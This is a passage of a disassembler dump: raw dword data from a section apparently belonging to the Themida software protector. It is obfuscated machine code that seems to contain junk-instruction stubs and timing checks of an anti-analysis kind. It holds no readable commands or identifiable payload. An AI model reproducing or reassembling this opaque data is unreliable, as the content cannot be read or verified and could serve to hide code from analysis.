		dd 0C1060704h, 0F98A04E8h, 0BE58D89h, 0F7660607h, 0FE9E2h
		dd 0ED7F0000h, 9B03F0F2h, 63739BDBh, 625F44D1h,	0FC82B71h
		dd 0D18BDABFh, 1A10BF66h, 8E9h,	9D8B6000h, 6071DE5h, 69858B61h
		dd 0F060713h, 685h, 599D0300h, 83060728h, 852907C0h, 6071689h
		dd 0E800C083h, 0Eh, 0F3EBDAE7h,	3BB7F581h, 2A9CBC7Ah, 14E902D6h
		dd 9F000000h, 703273BCh, 12119291h, 0A5DD8EA2h,	68488ADDh
		dd 5BE4BCA2h, 830FD03Bh, 20h, 2FE9BD8Bh, 48E90607h, 0E8000000h
		dd 9, 7D47248Dh, 9FED1A9Fh, 3595894Ah, 5B060700h, 2098D8Bh
		dd 0BD8B0607h, 6070409h, 0F01E183h, 1E84h, 81958900h, 83060732h
		dd 70209A5h, 0BF0FFE06h, 699589DAh, 80060713h, 0E9A5F3h
		dd 8D000000h, 0AC1A9B5h, 880F6006h, 6, 0CA58D89h, 6A610607h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0F91715Ch, 95FFD8BFh, 6071B69h, 4199D8Bh
		dd 8A0F0607h, 6, 57DF781h, 0BB9676Bh, 0E900000Eh, 0Dh
		dd 1B2304B6h, 0DA9009F5h, 0EBD2A22Eh, 0FCE1832Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0ACC35242h, 5287B46Eh
		dd 0FCFC8D90h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	4EC35141h, 699589C5h, 2B060726h, 0E59501C0h, 2B060705h
		dd 0C233ADD2h, 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
		dd 74FD90E2h, 613F2D74h, 46B767D4h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0C2C35040h,	0F442AD17h, 0F68763BFh
		dd 880D01h, 81660000h, 8B14FBE7h, 70A0195h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0A58D8B61h, 6A060714h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0B782C357h,	8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD2B5818h, 607037Dh
		dd 2845BD8Bh, 0BD290607h, 6072885h, 2FF9BD83h, 0F000607h
		dd 4784h, 66BB6600h, 0B802h, 890F0000h,	8, 4D9D8B53h, 5B06071Eh
		dd 4B4A8D8Dh, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 38E797C3h, 0BDE33156h, 0F840E9BCh
		dd 0E1FFF98Bh, 2FD5BD83h, 0F000607h, 43884h, 0C1C3BF00h
		dd 0BD83573Eh, 6072FD5h, 41840F01h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 9539C356h, 0E103567Ah, 81600782h, 255973D2h,	0D18D8B48h
		dd 6106071Ah, 2FD5BD83h, 0F030607h, 3CD86h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 60C2B5C2h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 14h,	0B8C35040h, 66FE8B66h, 6AD98Ch,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 1F7A74C3h
		dd 4E18020h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	4DC35545h, 68A6DE7Ah, 81664240h, 0ACE28CBh, 1B840FC9h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B1A2C353h, 1D20F540h,	2F699D89h
		dd 0CB800607h, 0F1858B66h, 3306070Eh, 7156985h,	0BE99006h
		dd 11000000h, 0B022FD5Eh, 0CDE4C1C8h, 9050576Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0C3C35040h, 303C2F7Ch
		dd 67BB5210h, 5F69B515h, 1D25BD8Bh, 6A0607h, 3C19D03h
		dd 70680607h, 810F9056h, 558F2434h, 6A0F8Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 4CDCADC3h
		dd 55A33045h, 8E904h, 0DE800000h, 77A06DECh, 95FF7814h
		dd 6070561h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0DEC35343h, 3E1EF9CCh, 950930B3h, 607203Dh, 0A2918589h
		dd 6A060Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 2925ABC3h, 0E9775915h, 1B8h, 2799589h, 858B0607h
		dd 60AA289h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	3C35242h, 4B29E37Dh, 0AE945DEh,	82000000h, 2C1391B3h
		dd 0D1F33B1Eh, 1800C7F4h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0A5D6C357h
		dd 0A28DB58Bh, 0D98A060Ah, 1C7D858Bh, 6A0607h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 89B069C3h, 0FC54C257h, 2830Fh, 0D98B0000h, 0FE8B0689h
		dd 0EF1858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 6BE220C3h, 0BF0F6DD5h, 44689DAh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 33C35141h
		dd 87B0A7EEh, 502BB75Eh, 0BB665157h, 5B5BE577h,	6A243489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0B7C4C352h, 85BD0960h, 52060732h,	75D98166h
		dd 0FF615E11h, 0AA289B5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0F5FAE550h
		dd 0CA5ED4D2h, 55BD8B22h, 68060713h, 0B53DC6FBh, 48184B7h
		dd 0E13D0424h, 5E94Ah, 9650000h, 8D24F3A0h, 0AA29185h
		dd 5E906h, 9A530000h, 9036C468h, 0D98A5350h, 6A905Bh, 3E855h
		dd 5D200000h
dword_580000	dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 7F0A73C3h
					; DATA XREF: Themida_:0053BFC0o
		dd 137621Dh, 0BD89AB07h, 6072F59h, 56195FFh, 9D890607h
		dd 6070571h, 0D8BF0F61h, 2FD585C7h, 30607h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 85893EC3h, 60717FDh,	0A291BD83h, 0F00060Ah, 3184h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0C611BE70h, 6CBB2F65h, 0E96F4EE4h, 21h, 15F99D8Bh, 30500607h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 3C086FD9h, 736F4ADBh, 6AFB8B66h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 9723C350h, 59FAF1D5h, 0BD83FC4Eh, 6072FD5h, 0F2850F03h
		dd 6A000005h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0DDE5C355h, 0E343514Ah, 0B5096C57h
		dd 6070E01h, 435F5BBh, 91BD833Dh, 60AA2h, 5B7840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 638954C3h, 0AE566FA7h, 665CE155h, 0EC1DF381h, 0A291B5FFh
		dd 0CE9060Ah, 45000000h, 786D5479h, 0B5A3D097h,	0FFA17E19h
		dd 7164195h, 0B5CB8106h, 8B3FCBDEh, 0AA285B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0CAFFEA51h, 4A66C989h, 6C7DC8Ah, 10001h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h, 499D8BE4h
		dd 96060721h, 14E9h, 5C71C100h,	282B0EA6h, 1CE8E9B4h, 2D89B667h
		dd 0C8B28D02h, 12E850F3h, 59000000h, 35DFEF0Fh,	761524EBh
		dd 0F73B12C0h, 0F4845F16h, 8B965FCCh, 710319Dh,	91B5FF06h
		dd 6A060AA2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 3C98C350h, 209FE34Bh, 5AFFFA67h
		dd 0B7DB589h, 95FF0607h, 6071DE1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 1C35040h, 0BF9DAB83h, 1527180Eh
		dd 0A285B58Bh, 6A060Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 84D022C3h, 373A1D47h, 892074C9h
		dd 712798Dh, 0A5858B06h, 6A060720h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0C365C352h
		dd 0C17A5E04h, 0D78166A6h, 8689DA75h, 0C4h, 7E8h, 6BF77600h
		dd 6035B2C8h, 0F299D0Bh, 665B0607h, 958BDA8Bh, 6070A01h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 69C35343h
		dd 4BA61383h, 896E14BDh, 70391B5h, 4C28306h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0C5C35646h, 61AFC009h
		dd 0FFA0AA4h, 683h, 199D8B00h, 0E8060702h, 13h,	7E66C5D8h
		dd 6FECC0D0h, 0D4AD6905h, 77E27443h, 810DD866h,	0BB184CCBh
		dd 50895F7Fh, 2CBB6620h, 0BC858D5Ch, 6A060AB5h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 1F76C351h, 58D014Ch,	8906070Dh, 0B886h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 0C7B2B21Fh, 13E959h,	0D5230000h, 9F9BB7D5h, 108B9368h
		dd 1287F4FDh, 0F843B888h, 0E9BD8B4Fh, 6A06070Ah, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0C5BAFDA6h, 9CC0A080h, 0BB66810Eh, 0B5FFC6EAh, 60AA291h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 38C35747h
		dd 8B140B66h, 718A19Dh,	8595FF06h, 80060702h, 5096F0C3h
		dd 0EFBF6652h, 5A310FBBh, 8C0F5058h, 17h, 0EE8h, 7C038300h
		dd 3C7CC2EFh, 8C63404Fh, 66F76425h, 965BFB8Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0F0C35646h, 0F605046h
		dd 85h,	5F61F800h, 0A291B5FFh, 6A060Ah,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0F3DADFC3h
		dd 46EFF781h, 6E922B9h,	0A1000000h, 5FF5395Fh, 5595FF2Dh
		dd 6A060711h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0C89AC351h, 0FEC5A0ABh, 8D895D8Bh
		dd 6072FC5h, 6DDBD83h, 0F000607h, 7184h, 0DBB70F00h, 0E840F96h
		dd 60000000h, 310F5250h, 890F585Ah, 0
		dd 52505061h, 0FE95250h, 0E4000000h, 5BDE29FCh,	4BB20E8Fh
		dd 32F77749h, 310F8F2Ch, 585A6160h, 9E9310Fh, 0A4000000h
		dd 449DD6CFh, 3005241Bh, 6A96585Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 15D4C355h
		dd 0A52955A6h, 1DBD9D8Bh, 0B5FF0607h, 60AA291h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 11C35747h, 0C933F042h
		dd 0CE9B378h, 67000000h, 0BF39391Bh, 0AFF3F9ABh, 0FF528C9Ah
		dd 71BF195h, 0B5FFFC06h, 60AA291h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 71C35747h, 8EF74345h, 6AE6DB18h
		dd 0FDFB70Fh, 682h, 18D0100h, 0FF060716h, 71AF595h, 21853106h
		dd 8306070Eh, 719F5BDh,	840F0206h, 0B7h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Ch, 3DC35343h, 48A2FC47h
		dd 0CFD71EB0h, 0D59D8960h, 6606071Ah, 6156A2BBh, 68E0Fh
		dd 0BD890000h, 607185Dh, 1A29858Bh, 6A0607h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 8A3B27C3h
		dd 3021BD89h, 0C60607h,	50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 13E82Ah, 0FC9C0000h, 79765CA1h
		dd 0BC293AE7h, 0E2044755h, 0DB44DDE7h, 0E0E38072h, 0AE85Bh
		dd 0F7D50000h, 0E7E39300h, 0B67081F4h, 2D059D89h, 0C75F0607h
		dd 70D0985h, 6,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 2240884Ah, 51BD8B15h
		dd 3060711h, 712299Dh, 0F1B2E906h, 0BD8BFFFFh, 6071339h
		dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 7ACF98C3h, 2C61858Dh, 6A0607h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 9FD419C3h
		dd 5251CB2Bh, 0EE850CAh, 88000000h, 0CE791F89h,	0DFAAFE82h
		dd 3A510386h, 8B5250F3h, 50310FFBh, 5A310F52h, 5B585A58h
		dd 6A240489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 3BB7C350h, 2A9CBC7Ah, 9E9h, 0C49FE700h
		dd 0E86E384Fh, 6A722Bh,	0D75BD8Bh, 0BF0F0607h, 8B006ADFh
		dd 71541BDh, 1193BB06h,	858D0E7Dh, 60B4D93h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 17C35242h, 621C75h
		dd 6A05C083h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 89A9C350h, 71849B5h, 0F509006h
		dd 168Fh, 10E800h, 0DA740000h, 9FB6057Ah, 21F8CDDh, 0AA5AED17h
		dd 5F5F65D3h, 0FE950h, 0F0730000h, 4A200C3Ah, 521FDCA6h
		dd 5FE58F18h, 6A905Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0E76D5DC3h, 66B854AEh, 6A14F8BBh
		dd 89BD8900h, 6A060712h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0A48F515Eh, 35A14728h
		dd 0B343BB66h, 3219BD8Bh, 95FF0607h, 6071335h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 30C35545h, 0F5E18CDFh
		dd 0DF8B6617h, 939D8D8Dh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 8DD332C3h, 0FFF9B70Fh
		dd 10E8D1h, 2BFA0000h, 0C23B9FE4h, 60A2E4D0h, 757AAA2Bh
		dd 5E9E781h, 4C000000h,	794730E9h, 83D98B5Bh, 732B1BDh
		dd 850F0106h, 98h, 15A9BD89h, 26A0607h,	2850Fh,	0FA8B0000h
		dd 0BE9h, 8FC02900h, 7FCF439Dh,	0D3CFC748h, 52505090h
		dd 310FF88Bh, 0AD2165BFh, 5F585A1Ah, 0AE95350h,	10000000h
		dd 0F7120477h, 3254D8E7h, 6A905F3Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 9506C350h
		dd 0F5BF51B1h, 0FF76C66Bh, 7028595h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0F7B0370Bh
		dd 57F4CDF5h, 0EB81D107h, 52583D74h, 0E87E9h, 0E800h, 815D0000h
		dd 0B4D9DEDh, 8E806h, 95D50000h, 408D980Eh, 958996B1h
		dd 6073201h, 0DDBD895Fh, 8D060717h, 0A860385h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0AD2A1D37h, 8A050657h, 41BD8B80h, 8B060701h,	7285DBDh
		dd 4895006h, 7DBD8B24h,	64060702h, 35FFh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 3C2E0CC3h, 8166E881h, 8BF106E7h, 70EC19Dh, 25896406h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 13C35646h
		dd 65CBCFCFh, 0BF66AE12h, 85FFBE9Eh, 6072C89h, 8D0Fh, 0FF6A0000h
		dd 13459D8Bh, 0B5FF0607h, 6072759h, 35858B60h, 8B060714h
		dd 72C85BDh, 95FF6106h,	607213Dh, 166E9h, 10E800h, 109A0000h
		dd 2F5EF352h, 0B5DB1D2Eh, 0D4BCF261h, 880F0C10h, 5, 88761BFh
		dd 0B05F73h, 138F0Fh, 0EE90000h, 4000000h, 0FE8B616Ch
		dd 15BA2DF1h, 3A5B8BACh, 5770E645h, 5E9h, 86BBA400h, 0F5B47D7h
		dd 71E4DAB7h, 0BD4B2BBh, 0E9BB667Eh, 0F613C41h,	10683h
		dd 719D8900h, 0FC060714h, 0E9C8B60Fh, 0Eh, 97ECA8E1h, 0F602674h
		dd 97A6670Ch, 6BA977Eh,	0F5000000h, 6057C18Bh, 81EBB66h
		dd 0AE9h, 14C3F500h, 5AE5F044h,	61EF7132h, 4E8C15Bh, 197D9D89h
		dd 0F7660607h, 0F19D23E2h, 2B060720h, 99589C8h,	8B06070Fh
		dd 39B589D1h, 0E9060701h, 2, 858BDD8Ah,	6073299h, 8E9h
		dd 0D260B300h, 0AE947B51h, 7C083ABh, 68C0Fh, 0BD890000h
		dd 6071781h, 14ED9D8Bh,	0C0830607h, 159D8900h, 89060726h
		dd 72F358Dh, 0FD03B06h,	0F83h, 799D8B00h, 0E906070Ah, 57h
		dd 9B4BBB66h, 19ED8D8Bh, 0BD890607h, 6071B59h, 0F01E183h
		dd 3E84h, 5E900h, 2E870000h, 83282205h,	719EDA5h, 8D0FFE06h
		dd 3, 89FBB70Fh, 7329995h, 14E906h, 0C0170000h,	2F2F05ADh
		dd 5F0D68A9h, 32EBDB5h,	3970AA79h, 0E940F0h, 8D000000h
		dd 0AD1FEB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 6ABF8Dh, 559D0153h, 5F06072Ch, 1B6995FFh
		dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 897977C3h, 7037585h, 0CD9D8B06h, 0B9060718h
		dd 8FFh, 0EE8h,	6425700h, 0F13C7E1Ah, 0C5DB623h, 890DA5CDh
		dd 7115D95h, 0E1835B06h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 8B42FA80h, 348B0721h
		dd 8BD8B70Fh, 6AFCFAh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B8A5C3h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0BA3CC357h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7C35040h
		dd 6367BFA5h, 8B0D9125h, 72779BDh, 57E78006h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 28C35747h, 4C8E83CEh,	603AFCFFh, 0BDEF8151h
		dd 5A736595h, 32D48052h, 6A615Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 9FFCD2C3h, 6D2B2983h
		dd 895AF135h, 70F7195h,	0DFA8A06h, 88h,	0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 16h, 70C35141h, 0BF660951h
		dd 89607B19h, 7146185h,	0F2816606h, 8B61BA04h, 70A0195h
		dd 16BF6606h, 0A58D8B7Ah, 6A060714h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 8BD4C356h
		dd 0C2F452C3h, 0C75DBF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 85295818h, 6071AC9h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 3AC35141h, 60A666FDh, 3131B58Bh
		dd 0BF0F0607h, 0BD8361D6h, 6072FF9h, 6B840F00h,	6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 2C9DC351h, 0B86CC180h, 0
		dd 0DCDBD09h, 85890607h, 607108Dh, 4B4A8D8Dh, 6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0EFD4A9C3h, 5D45D30Ah, 89E50099h, 71931BDh, 56E1FF06h
		dd 0C5D38166h, 0BD835B45h, 6072FD5h, 0F3840F00h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0AA38C356h, 8D4A41C9h, 18E9BD8Bh,	9D8B0607h
		dd 6071B21h, 2FD5BD83h,	0F010607h, 4D484h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 0BD8399E4h, 6072FD5h, 74860F03h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0BA76C351h, 0CD444F80h, 3141BD8Bh, 6A600607h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 664AC350h, 6688B2BBh, 8589D98Ch, 6072655h, 0E180DE8Bh
		dd 50006A04h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BE456E5h, 7319D9Dh, 0FC90A06h, 16784h
		dd 0F1858B00h, 0E806070Eh, 6, 33B55D49h, 14E96EFCh, 9A000000h
		dd 0FEAA87FCh, 0F7C78002h, 33C57F02h, 0BA60CB0Ch, 5B3BE6CAh
		dd 2F019529h, 85330607h, 6071569h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0B0C35646h,	0B3CD8BFh, 0D249EC7Ah
		dd 0CF8A60C0h, 8F0Fh, 8B610000h, 70E159Dh, 0B6605006h
		dd 54C4BA3Fh, 896179D9h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 8E9AA1C3h, 0CE921CC5h
		dd 9E9h, 0BF186200h, 96DC0FB0h,	0BD2B66F4h, 6071FFDh, 0FDB7006Ah
		dd 7E8h, 3604A00h, 0BBD3208Bh, 203DB589h, 685B0607h, 8B52A3C7h
		dd 8E9h, 9EB15800h, 0A17877B4h,	24048100h, 74CC6038h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0FCC35545h, 95FF0703h
		dd 6070561h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	45C35545h, 89184759h, 0AA29185h, 5810F06h, 0BB000000h
		dd 19DB9DBDh, 37E906B3h, 6A000002h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 7413C355h
		dd 0BF6649B2h, 9D8BB187h, 6072405h, 0C028BF66h,	0A289858Bh
		dd 6A060Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0C998CAC3h, 870FCAE7h, 8,	2880Fh,	20B30000h
		dd 1800C7h, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 140424h, 55450000h, 3DBB9AC3h, 8B2EAF8Dh, 0AA28DB5h
		dd 8BFB8B06h, 71C7D85h,	56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 3737B8CCh, 5CAC783Ch
		dd 95299F93h, 607162Dh,	0BD310689h, 60704A5h, 0EF1858Bh
		dd 46890607h, 51006A04h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0CC00EA98h, 0BCAD817Bh, 8166AEF9h
		dd 96F2FACFh, 0C14CE0BFh, 50535058h, 0F5F5152h,	880F31h
		dd 5A000000h, 6A965F58h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0CF35C352h,	53F698D1h
		dd 7C4C45E0h, 1BB59D0Bh, 81660607h, 0FF2C1AC7h,	0AA289B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 38AAF125h, 850FD083h, 18h, 10E8h, 0C2F04B00h
		dd 32F22727h, 0E5FC0D9h, 0DB1A25C2h, 5BF6B378h,	15E5BD09h
		dd 4E80607h, 0FF000000h, 50001F03h, 374BBF66h, 424448Bh
		dd 8B48B7h, 18890Fh, 13E90000h,	0BC000000h, 920DEDF0h
		dd 910D92B5h, 0D2F79725h, 5E776A2Eh, 4489FD8Bh,	0BF520424h
		dd 69A5987Ch, 9D2B585Bh, 607282Dh, 0A291858Dh, 6A060Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0C03B55C3h, 28939761h, 95896052h, 6070BF5h, 81665B61h
		dd 909490F3h, 0D78B6660h, 0A0C409B8h, 50506177h, 5E952h
		dd 0C44E0000h, 0FAF7FCCh, 90585A31h, 95FFC6B3h,	6070561h
		dd 23818D29h, 89610607h, 72EF58Dh, 0D585C706h, 306072Fh
		dd 51000000h, 494FBF66h, 91BD835Bh, 60AA2h, 5D840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 967DDCC3h, 53E94D4Bh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3322C355h
		dd 0FEF11163h, 0FE81Fh,	95D30000h, 0D135CD9Ch, 7B0625C6h
		dd 4855963h, 505FF928h,	110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 5E9C08Bh, 0D6000000h, 7A053678h
		dd 9E91D781h, 6A10CEh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 0DF0AD3C3h, 8BBC1FA6h, 70E51BDh
		dd 0D5BD8306h, 306072Fh, 3EC850Fh, 8D0F0000h, 5, 0FD3634BFh
		dd 29D78069h, 0A291BD83h, 0F00060Ah, 3D184h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0C999F4FFh, 0BB795056h, 32AA1A80h, 0B5FFF88Bh, 60AA291h
		dd 27E78166h, 4195FFD3h, 29060716h, 71C9585h, 85B58B06h
		dd 6A060AA2h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 6A12C350h, 0B1DBD8Bh, 6C70607h
		dd 10001h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	7C35040h, 7E9h,	0BE011C00h, 0DF994230h,	499BD33h
		dd 66500607h, 89F1DDBBh, 0BD8B2434h, 6072E95h, 0A291B5FFh
		dd 6A060Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0C25428C3h, 68F0FA3h, 8B000000h, 706B99Dh
		dd 0D9D8B06h, 0FF06071Ch, 71DE195h, 0AE806h, 0D4DC0000h
		dd 1B15A370h, 3C7276F7h, 0CC18501h, 8B5B0607h, 0AA285B5h
		dd 0D9B70F06h, 20A5858Bh, 830F0607h, 6,	121DBD8Bh, 0BE80607h
		dd 86000000h, 7B48F304h, 0BACA461Dh, 858989ECh,	6072C71h
		dd 0C486895Fh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 4414C352h, 325AE5F0h
		dd 8321EF71h, 1FF19D8Bh, 958B0607h, 6070A01h, 4C283F5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A1C35343h
		dd 64A6E2BDh, 2050897Eh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 67C35343h, 600A55A1h,	0FC7B70Fh, 8Bh
